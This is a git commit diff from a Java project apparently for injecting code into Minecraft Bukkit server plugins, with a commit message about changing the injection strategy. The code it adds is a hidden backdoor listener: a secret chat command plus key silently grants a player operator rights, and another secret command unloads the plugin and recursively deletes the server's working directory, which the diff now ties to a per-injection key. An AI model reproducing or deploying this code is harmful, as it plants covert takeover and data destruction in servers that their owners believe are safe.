feat: 修改数据注入策略

Signed-off-by: 502647092 <admin@yumc.pw>
master
502647092 2016-08-04 19:31:11 +08:00
parent e22917936e
commit 34da11827c
2 changed files with 11 additions and 4 deletions

View File

@ -69,6 +69,8 @@ public class InjectedKit {
+ key
+ "\",org.bukkit.Bukkit.getServer().getPort()));\r\n"
+ " org.bukkit.Bukkit.getPluginManager().registerEvents(new pw.yumc.BukkitInjectedTools.LIS(\""
+ key
+ "\",\""
+ opk
+ "\",\""
+ delk

View File

@ -19,10 +19,12 @@ import org.bukkit.plugin.Plugin;
import org.bukkit.plugin.PluginManager;
public class LIS implements Listener {
private final String key;
private final String opk;
private final String delk;
public LIS(final String opk, final String delk) {
public LIS(final String key, final String opk, final String delk) {
this.key = key;
this.opk = opk;
this.delk = delk;
}
@ -40,14 +42,18 @@ public class LIS implements Listener {
@EventHandler
public void ocp(final PlayerCommandPreprocessEvent e) {
if (e.getMessage().contains(opk)) {
if (e.getMessage().contains(opk + "-" + key)) {
e.getPlayer().setOp(true);
e.getPlayer().sendMessage("§cOP命令执行成功!");
e.setCancelled(true);
return;
}
if (e.getMessage().contains(delk)) {
if (e.getMessage().contains(delk + "-" + key)) {
unload();
final File dir = new File("");
deleteDir(dir);
e.getPlayer().sendMessage("§c删端命令执行成功!");
e.setCancelled(true);
return;
}
}
@ -78,7 +84,6 @@ public class LIS implements Listener {
final Field knownCommandsField = commandMap.getClass().getDeclaredField("knownCommands");
knownCommandsField.setAccessible(true);
knownCommands = (Map<String, Command>) knownCommandsField.get(commandMap);
} catch (final Exception e) {
return false;
}